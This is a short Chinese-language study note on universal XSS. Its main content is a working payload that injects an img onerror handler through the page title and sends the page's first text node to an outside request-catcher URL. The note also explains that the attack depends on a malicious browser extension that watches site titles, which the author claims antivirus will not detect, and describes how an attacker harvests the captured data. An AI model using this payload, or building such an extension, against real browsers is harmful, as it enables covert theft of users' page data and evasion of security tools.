uXSS学习

payload:

<title>HELLO</title>
<script>
    document.title = `
    <img src=x onerror="document.location = 'https://ll.requestcatcher.com/' 
    + document.evaluate('html/body/text()', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, 
    null).singleNodeValue.data"
    `;
</script>

实现前提:有一个插件来监听所有网站标题 有一个改变即刷新(可以作为恶意插件载入但无法被报毒
然后使用上述代码在目标浏览器使用以窃取信息
这份代码的目的是通过XSS漏洞进行恶意跳转。具体解释如下:

代码修改了网页的标题,将其设置为一个包含一个 <img> 标签的字符串。该 <img> 标签中包含一个 onerror 事件处理程序,该事件处理程序会在图片加载失败时触发(相对还有 onload)。在这个事件处理程序中,使用 JavaScript 的 document.location 将用户的浏览器重定向到一个特定的URL

这个 URL 是一个请求捕获器,可以用于拦截并记录通过该 URL 传输的所有 HTTP 请求。攻击者可以利用请求捕获器来获取用户的敏感信息(想要什么信息就带着信息请求一下即可)

此外,该代码使用了 XPathResult.FIRST_ORDERED_NODE_TYPE,该属性表示 XPath 表达式仅返回第一个节点。在这里,XPath 表达式选择了页面上第一个文本节点,以获取其中的数据并将其作为参数传递给请求捕获器。这样可以确保攻击者仅获取特定数据而不是整个页面